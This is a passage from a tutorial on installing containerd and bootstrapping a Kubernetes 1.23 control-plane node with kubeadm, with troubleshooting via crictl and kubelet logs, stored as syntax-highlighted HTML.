style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.7-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.6-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.4-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.5.11-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.5.10-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe are going to use the latest version available which was 1.6.8-1\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io=1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen we will setup a configuration that enables containerd to use the systemd\ncgroup. We are hard coding this config instead of using \u003ccode\u003econtainerd config default\u003c/code\u003e\nbecause that currently has had a \u003ca href=\"https://github.com/containerd/containerd/issues/4574\"\u003ebug\u003c/a\u003e\nfor many years that generates an invalid config.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.service\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can verify it is running with ctr:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ctr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --address\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containers\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RUNTIME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow that this is working we can move on to getting kubernetes installed!\u003c/p\u003e\n\u003ch2\u003eUsing kubeadm!\u003c/h2\u003e\n\u003cp\u003eNow we need to get the kubernetes tools installed onto the system. I am going to be using 1.23\nbut to find the latest version you can run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-cache\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e madison\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e http://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e amd64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.23.4-00\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e http://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e amd64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen install the version you want, we install kubelet and kubeadm here to make\nsure the versions align:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will pull in a few tools, including an alternative to \u003ccode\u003ectr\u003c/code\u003e that we used earlier called\n\u003ccode\u003ecrictl\u003c/code\u003e. You can check that it is available to you doing this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe can finally init our cluster:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce that finishes running it should give you some tips setup your configuration, it should look like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cp\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/kubernetes/admin.conf\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e chown\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -g\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can run those on the master node for now, but later I will show you how to move\nthe config to your host computer.\u003c/p\u003e\n\u003cp\u003eNow you should be able to check that your node is not ready yet:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4m16s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003e\u003cem\u003eNote\u003c/em\u003e: If you receive \"The connection to the server was refused\" error,\nThe cluster starting up and getting all the dependencies running could take\na bit of time. So if you are not able to communicate right away you can check\nwhich pods are up and running with \u003ccode\u003ecrictl\u003c/code\u003e. You will need \u003ccode\u003ekube-apiserver\u003c/code\u003e up\nand running. If it is not you can check:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CREATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ATTEMPT\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e POD\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e POD\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e8322192c4605c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bd8cc6d582470\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 36\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e seconds\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 344c4f7fffbe8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e30ce27c40adb2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 81a4a8a4ac639\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-controller-manager\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 3a819c3a864b2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-controller-manager-controlplane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e7709fd5e92898\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bd8cc6d582470\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 7cc6922c82015\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e10432b81d7c61\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 3767741e7fba7\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-apiserver\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e e64ddf3679d98\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-apiserver-controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ewhich will show you pods that have exited. You can grab the container ID for\nkube-apiserver and read its logs:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10432b81d7c61\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThere are a few ways to figure out why the node is not ready yet. Usually I would check the\n\u003ccode\u003ekubelet\u003c/code\u003e logs first:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e journalctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -flu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e--\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Logs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e begin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e at\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 2022-04-17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 19:22:19\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AST.\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:15\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet[19727]:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e E0417\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:15.951350\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19727\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e networkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:20\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet[19727]:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e E0417\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:20.952148\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19727\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e networkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not 